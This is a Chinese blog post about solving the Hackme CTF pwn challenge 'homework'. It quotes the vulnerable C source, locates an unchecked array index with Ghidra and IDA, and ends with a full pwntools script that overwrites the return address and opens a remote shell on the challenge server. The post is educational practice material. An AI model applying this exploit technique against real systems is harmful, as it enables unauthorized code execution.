經過了一段時間的研究,我終於搞懂了這題 Hackme CTF 的 homework
,在開始之前我得先說,我最後是直接對答案,再來理解為什麼要這麼寫 XD,並且還請教了我的隊友才搞懂一些細節,在此感謝 @zeze🫡。因為不是我想的我就不當作在寫 write-up 了。
參考的答案:http://blog.iyzyi.com/index.php/archives/1110/
題目有提供原始碼,我們直接從這裡找攻擊面(把一些不太重要的跳過):
...
char name[1024];
void call_me_maybe()
{
system("/bin/sh");
}
...
void ask_name()
{
printf("What's your name? ");
gets(name);
}
...
void run_program()
{
int arr[10], i, v, act;
for(i = 0; i < 10; i++)
arr[i] = 0;
while(1) {
puts("0 > exit");
puts("1 > edit number");
puts("2 > show number");
puts("3 > sum");
puts("4 > dump all numbers");
printf(" > ");
scanf("%d", &act);
switch(act) {
case 0:
return;
case 1:
printf("Index to edit: ");
scanf("%d", &i);
printf("How many? ");
scanf("%d", &v);
arr[i] = v;
break;
case 2:
printf("Index to show: ");
scanf("%d", &i);
printf("arr[%d] is %d\n", i, arr[i]);
break;
case 3:
v = 0;
for(i = 0; i < 10; i++)
v += arr[i];
printf("Sum is %d\n", v);
break;
case 4:
for(i = 0; i < 10; i++)
printf("arr[%d] is %d\n", i, arr[i]);
break;
}
}
}
int main()
{
set_timeout();
unbuffer_io();
ask_name();
run_program();
say_goodbye();
return 0;
}
看起來感覺有兩個部分可以嘗試:
gets()
的 ask_name()
arr
的 index 並且沒檢查邊界的 run_program()
的 case 1我們這邊選擇第二個來打,所以其他的都先不管。
這邊我們先用 gdb-peda 的 checksec 來看一下保護的設定:
沒有 canary、沒有 PIE。
如果不清楚這邊的項目是什麼意思,可以看這篇:Day 24. Pwn - 保護機制
接著使用 ghidra 來看看這邊的 stack:
可以看到我們要利用的 arr
是在 -0x38
的位置,但如果用 IDA 看的話,會發現位址是 -0x34
:
這邊我推測 IDA 是以 caller ebp
為基準,而 ghidra 是以 return address 為基準,如果有大大知道正確答案的話還請指教。
再往下看一點可以看到有關 stack frame 大小的資訊:
esp 減去了 0x48,這個就是新的 stack top,目前的 layout 大概長這樣:
我們需要從寫入 arr
的地方來覆蓋 return address 的資料,所以要將 index 設成 0x38/4
,除以 4 是因為這邊的 arr
是整數陣列,一個是 4 bytes。
知道要寫在哪邊之後,接著是要知道 shell 的位址,這題包 shell 的 function 是 call_me_maybe
,在 ghidra 中就可以找到位址是 0x080485fb
:
最後,因為 run_program 裡面的邏輯有包一個迴圈,所以在 case 1 覆寫完 rerturn address 之後,還需要再走一次 case 0 才會 return。
最後我們來看完整的 exploit:
from pwn import *
p = remote("ctf.hackme.quest", 7701)
context.log_level = "debug"
return_address_offset = 0x38 // 4
shell_address = 0x80485fb
p.sendlineafter("What's your name? ", "macs")
p.sendline("1") # 走 case 1
p.sendlineafter("Index to edit: ", str(return_address_offset)) # 讓 arr[offset] 指向存放 return address 的位置
p.sendlineafter("How many? ", str(shell_address)) # 用 shell address 覆蓋 return address
p.sendlineafter("0 > exit", "0")
p.interactive()
拿到 shell 後,我們就可以輕易找到 flag:
以上,謝謝大家收看🫡